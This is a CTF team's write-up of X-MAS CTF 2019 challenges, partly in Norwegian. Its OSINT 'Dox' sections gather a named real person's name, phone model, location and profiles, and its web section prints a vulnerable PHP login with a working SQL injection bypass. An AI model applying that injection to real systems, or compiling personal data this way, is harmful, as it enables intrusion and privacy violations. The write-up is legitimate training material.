---
# System prepended metadata

title: X-MAS CTF 2019

---

# X-MAS CTF 2019

# !Sanity Checks

## 1 - Merry Christmas!
:::success
:+1: oklien
:::

> Here is your first X-MAS CTF flag:

Sto på siden:

Flag: `X-MAS{HoHoHo__W3lc0me_T0_X-MAS_CTF_2019!}`

## 5 - Santa's Secret Club
:::success
:+1: oklien
:::

> Join our Discord server in order to stay up-to-date with the competition!
There you can form teams, chat with the organizers and follow challenge releases with ease:

Invite link: https://discord.gg/9dwXTKF

Topic:

```
Merry Christmas! X-MAS CTF Starts on 13th of december
X-MAS{J0in_S4nt4's_Secr3t_Club__W3_h4ve_cooki3s}
```

Flag: `X-MAS{J0in_S4nt4's_Secr3t_Club__W3_h4ve_cooki3s}`

# osint

## 25 - Bobi's wHack
:::success
:+1: oklien
:::

> Well.... as far as we know he's uploading some walkthroughs from his OSCP Journey; show him some support ;) *subscribe pls ;3*

Google søk, fant youtube -> about page
* https://www.youtube.com/channel/UCskRBTQUbl8jqCmxFoEtqOA/about

Flag: `X-MAS{subscribelikesharethanks-bobi:)}`

## 50 - Dox the Yak
:::success
:+1: oklien
:::

> Santa had some trouble getting info about a weird internet dude nicknamed yakuhito. Help him answer the following questions and you will be rewarded ;)

* Question #1: What's yakuhito's dream car?
* Question #2: What's yakuhito's real name?
* Question #3: What phone model is yakuhito currently using?

> Example flag: X-MAS{ch3vrolet_corvett3_john_doe_galaxyj7pro}
> Note: The car's model must be written in leetspeak
> Author: yakuhito 

* https://www.reddit.com/r/KeybaseProofs/comments/c969d6/my_keybase_proof_reddityakuhito_keybaseyakuhito/?ref=readnext 
* https://www.reddit.com/user/yakuhito

https://keybase.io/yakuhito
Navn: Mihai Dancaescu

https://keybase.io/yakuhito/devices
https://github.com/Yakuhito/phonemodel/commit/6a6b8d18f7affe43cb54eef79625bf05f373695e#comments

mobil: OnePlus
Model 7

commit melding
 Update README.md Pro version

twitter viser også at han bruker android

drømmebil:
https://www.youtube.com/channel/UChvAolOWaKdAVCXmPUpi8qA/discussion

trupples
3 days ago
what car do you like sir
3
Empereur Paradis
Empereur Paradis
21 hours ago
Everyone is searching the most wanted car 🤣 

doh :p

følger tesla og elon musk på twitter

@yakuh1t0

Can't wait to buy a T3SL@ and test those!
Cyb3rtruck :P


fant twitter thread...

annet:
https://www.offensive-security.com/offsec/meet-mihai-16-year-old-oscp-holder/
Bucharest, Romania
https://github.com/Yakuhito
kuhi.to
https://ro.linkedin.com/in/mihai-dancaescu-668a2a177?trk=public_profile_samename_profile_profile-result-card_result-card_full-click

InfoSec Enthusiast | CTF Player @ HTsP | CEH, OSCP


ONPLUS ER TYDELIGVIS MODELL NAVNET... !"#%¤¤#

Flag: `X-MAS{t3sl@_cyb3rtruck_mihai_dancaescu_oneplus7pro}`

## 175 - Dox the Grinch
:::danger
:-1: oklien
:::

> I found this guy on the internet who says that he hates Christmas! Unbelievable. Can you find out more info about him?

> Flag format is
X-MAS{name_surname_city_favouriteColor_bloodType_height}
For example,
X-MAS{george_lucas_newyork_blue_A+_184}

* https://notabug.io/t/whatever/comments/44530e6b7740f22940db9c176b621900d0bce697/i-hate-xmas

har en post om hacker news

https://news.ycombinator.com/user?id=Domay1986

Hello, my name is Eugene and I am interested in finances. I strongly believe that christmas is a scam.

They closed my twitter account! See interesting posts I reply to on notabug.io: https://notabug.io/user/uIUP3NZDQVnKkISlVdjM0cSOwt_5EKu1g3CzQGmtTSc.VlYirh-sCV0rZ_6px0em8HWyeKZN8TMnTtY2l0YtoTA

Business Inquires:

domay1986 (at) hotmail.com 

* Brukernavn: Domay1986
* Fornavn: Eugene
* E-post: domay1986@hotmail.com
* Interesser: Finances, Christmas is a scam

konto slettet
https://twitter.com/Domay1986

https://www.instagram.com/domay1986/
qehbesem
^? 
kaffe på kurdisk...

en følger
https://www.instagram.com/jhnsmth25/
john

Flag: `X-MAS{?_?_?_?_?_?}
`
# forensics

## 25 - Santa's Forensics 101 
:::success
:+1: oklien
:::

> Santa needs the help of an experienced forensics analyst. But first, he has to make sure that you are worthy.
 
```shell=
oklien@oklien-thinkpad:~/Documents/ctf/x-mas-2019$ exiftool X-MAS_Flag2.png 

ExifTool Version Number         : 10.80
File Name                       : X-MAS_Flag2.png
Directory                       : .
File Size                       : 602 kB
File Modification Date/Time     : 2019:12:13 20:15:39+01:00
File Access Date/Time           : 2019:12:13 20:15:41+01:00
File Inode Change Date/Time     : 2019:12:16 02:00:31+01:00
File Permissions                : rw-r--r--
File Type                       : ZIP
File Type Extension             : zip
MIME Type                       : application/zip
Zip Required Version            : 20
Zip Bit Flag                    : 0
Zip Compression                 : None
Zip Modify Date                 : 2019:12:08 20:39:23
Zip CRC                         : 0x00000000
Zip Compressed Size             : 0
Zip Uncompressed Size           : 0
Zip File Name                   : hidden_data_dt/

oklien@oklien-thinkpad:~/Documents/ctf/x-mas-2019$ file X-MAS_Flag2.png

X-MAS_Flag2.png: Zip archive data, at least v2.0 to extract

oklien@oklien-thinkpad:~/Documents/ctf/x-mas-2019$ unzip X-MAS_Flag2.png

Archive:  X-MAS_Flag2.png
warning [X-MAS_Flag2.png]:  308188 extra bytes at beginning or within zipfile
  (attempting to process anyway)
   creating: hidden_data_dt/
  inflating: hidden_data_dt/logo2.png  

oklien@oklien-thinkpad:~/Documents/ctf/x-mas-2019$ exiftool hidden_data_dt/logo2.png 

ExifTool Version Number         : 10.80
File Name                       : logo2.png
Directory                       : hidden_data_dt
File Size                       : 303 kB
File Modification Date/Time     : 2019:12:02 15:52:48+01:00
File Access Date/Time           : 2019:12:16 02:01:19+01:00
File Inode Change Date/Time     : 2019:12:16 02:01:09+01:00
File Permissions                : rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 908
Image Height                    : 393
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 3779
Pixels Per Unit Y               : 3779
Pixel Units                     : meters
Warning                         : [minor] Trailer data after PNG IEND chunk
Image Size                      : 908x393
Megapixels                      : 0.357

oklien@oklien-thinkpad:~/Documents/ctf/x-mas-2019$ zsteg hidden_data_dt/logo2.png 

[?] 32 bytes of extra data after image end (IEND), offset = 0x4ba1b
extradata:0         .. text: "X-MAS{W3lc0m3_t0_th3_N0rth_Pol3}"
imagedata           .. text: "ggg(llld"
```

Flag: `X-MAS{W3lc0m3_t0_th3_N0rth_Pol3}`

# Crypto

## 25 - Mata Nui's Cookies
:::success
:+1: oklien, ingeborg
:::

> Well... Mata Nui said something about his beloved cookies, but I've never seen this language before.

* Files: chall.png

> Note: Please add brackets { } manually to the flag string. Flag is also uppercase.

https://i.pinimg.com/736x/bb/05/19/bb0519cd945334846ca236fb2893ae30.jpg

Matoran alphabet

Flag: `X-MAS{MATANUIHASPREPAREDTHECOOKIES}`

## 50 - DeFUNct Ransomware
:::warning
:-1: oklien
:::

> Santa got infected by a ransomware! His elves managed to extract the public key, but couldn't break it. Help Santa decrypt his memos and save Christmas!

Files: download
Author: yakuhito 

n: 795569463642685540507503580717531982215679866156448758181874864294322245115046429295501396806569726084791213843313411985306755767933614251017259685360119715465741448841742926933764058184678978561438979554324014291467144646477238464467422645352253054043072408503415623126059018449111807300294890437634529289983603557882115343971407081044050231310858245171002149317227947666679143716043142141154344524386085333349328691743473103727587822968025700198172293605188589348169121979328380110985341428872278372426313622759225108517531628814853640680656657769539723198346005032762702856464738405070059566116940640592020837592563966093405895649052241416909627641069000138027201809936286028443581259045590752809132011594533609186039058798304319124598876514669458750171121861029071117458575853963148168447032328126766812085206373608016609150982512467597800331177524543178311636877811255184421602626713179220562081413985985692847372669113031244726086691179028200044542399429299315486513734144695492816493025225952668485937918985944213972980220480476191347009337324778384697829597183756976186825413917475597248616769321954150777672675555280228376126308362907381766363071890237458517881243184612898247096962136202978853341989193954815333784856612689

e: 13337

```shell=
$ ./RsaCtfTool.py -n 
795569463642685540507503580717531982215679866156448758181874864294322245115046429295501396806569726084791213843313411985306755767933614251017259685360119715465741448841742926933764058184678978561438979554324014291467144646477238464467422645352253054043072408503415623126059018449111807300294890437634529289983603557882115343971407081044050231310858245171002149317227947666679143716043142141154344524386085333349328691743473103727587822968025700198172293605188589348169121979328380110985341428872278372426313622759225108517531628814853640680656657769539723198346005032762702856464738405070059566116940640592020837592563966093405895649052241416909627641069000138027201809936286028443581259045590752809132011594533609186039058798304319124598876514669458750171121861029071117458575853963148168447032328126766812085206373608016609150982512467597800331177524543178311636877811255184421602626713179220562081413985985692847372669113031244726086691179028200044542399429299315486513734144695492816493025225952668485937918985944213972980220480476191347009337324778384697829597183756976186825413917475597248616769321954150777672675555280228376126308362907381766363071890237458517881243184612898247096962136202978853341989193954815333784856612689 -e 13337 --createpub > key.pub

oklien@oklien-thinkpad:~/Documents/ctf/x-mas-2019/emu20$ cat key.pub 

-----BEGIN PUBLIC KEY-----
MIICITANBgkqhkiG9w0BAQEFAAOCAg4AMIICCQKCAgEAwwJwa2Gst3uW3HbN54T3
Z3P30k6hIaiOIxYTEf6gJrdK4oQ895oVUHqBIHDXTI13a1eerZL5G6yI6u3ImjEZ
IlgyqcwtL5zd+HVHdW28oYVbkFkD2fAJMZwEjcPeFaZM3vvbbOKuO/xs7yDLI/nZ
6AP0bY4ZzY1WzC/tqvnvwDUMSzvIblzCib04GgDUJstUG/7Q3nAnFY5T6wJGXqhU
9NmegO8XSr5SCIiJDGk6pZE9XNCktUFLPLU0rWJ3IU/HDF71ivjec8POnO7dgQGu
saualz+2pE+u14KVXitZ1eoGmnPXCh6sEWoCdpiotdKlRTsr9FfskLvmmCVEqswi
EqoKdPd+T2QGDqj2rMhyQ4x3mQR8UZJeCeBRt56ysbbr8q+c7ibTWDtKAUjIFzk3
G1Q175qYXPar4xeM+7w4WfGUvWxhkYDpAegMYiMYVSTrt2pK2/FEpPKNsMZzx6jN
+HKIqfLI6k2FygZ+hZjeIPJlgSH2BQZ0ZBWYaxs5+IeRpqSedowQ8XgjyGb9cJjM
gM+4MK/G70/amVinw3YY0XzzvLygRfS8g7d5IIOoitFOVgs7cQWRminOG+N8BC0B
D8ToN3xUzHuxwbkrowaDWZ8ncumnwsSt+iL1T2rRkY+YEp8B/sZNflW6y3KdC66i
aAWGjHOQGrTKYofM79IIz1ECAjQZ
-----END PUBLIC KEY-----
```
# Web

## 25 - Sequel Fun
> So I found this login page, but I forgot the credentials :(

* Remote server: http://challs.xmas.htsp.ro:11006

```shell=
oklien@oklien-thinkpad:~/Documents/ctf/x-mas-2019$ GET http://challs.xmas.htsp.ro:11006/ | grep '<!--'
<!-- ?source=1 -->

oklien@oklien-thinkpad:~/Documents/ctf/x-mas-2019$ GET http://challs.xmas.htsp.ro:11006/?source=1
```

```php=
 <?php
if (isset ($_GET['source'])) {
  show_source ("index.php");
  die ();
}
?>

<head>
  <link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<div class="container">

<?php
include ("config.php");
if (isset ($_GET['user']) && isset ($_GET['pass'])) {
  $user = $_GET['user'];
  $pass = $_GET['pass'];
  if (strpos ($user, '1') === false && strpos ($pass, '1') === false) {
    $conn = new mysqli ($servername, $username, $password, $dbname);
    $result = mysqli_query ($conn, "SELECT * FROM users WHERE user='" . $user . "' AND pass='" . $pass . "'", MYSQLI_STORE_RESULT); // TO-DO: Remove elf:elf account

    if ($result === false) {
      echo "<b>Our servers have run into a query error. Please try again later.</b>";
    } else {
      if ($result->num_rows !== 0) {
        $row = mysqli_fetch_array ($result, MYSQLI_ASSOC);

        echo "<h1>You are logged in as: " . $row["user"] . "</h1><br>";

        echo "<b class='flag'>";
        if ($row ["uid"] === "0")
          echo $flag;
        else
          echo "Welcome elf!";
        echo "</b>";

      } else {
        echo "<b>Login fail.</b>";
      }
    }
  } else {
    echo "<b>I don't like the number 1 :(</b>";
  }
} else {
  echo '<form class="center">
    <h1>Santa Login:</h1>
    <label>Username:</label> <input type="text" name="user" autocomplete="off"><br>
    <label>Password:</label> <input type="password" name="pass" autocomplete="off"><br>
    <input type="submit" value="Connect">
  </form>';
}
?>

</div>
<br>

<script src="/js/snow.js"></script>

<!-- ?source=1 -->

</body> 
```

* kan ikke bruke 1 tall i user eller pass
* logge inn med uid: 0

http://challs.xmas.htsp.ro:11006/?user=admin&pass=%27%20or%20%27%27=%27

You are logged in as: admin

Flag: `X-MAS{S0_1_c4n_b3_4dmin_w1th0ut_7h3_p4ssw0rd?}`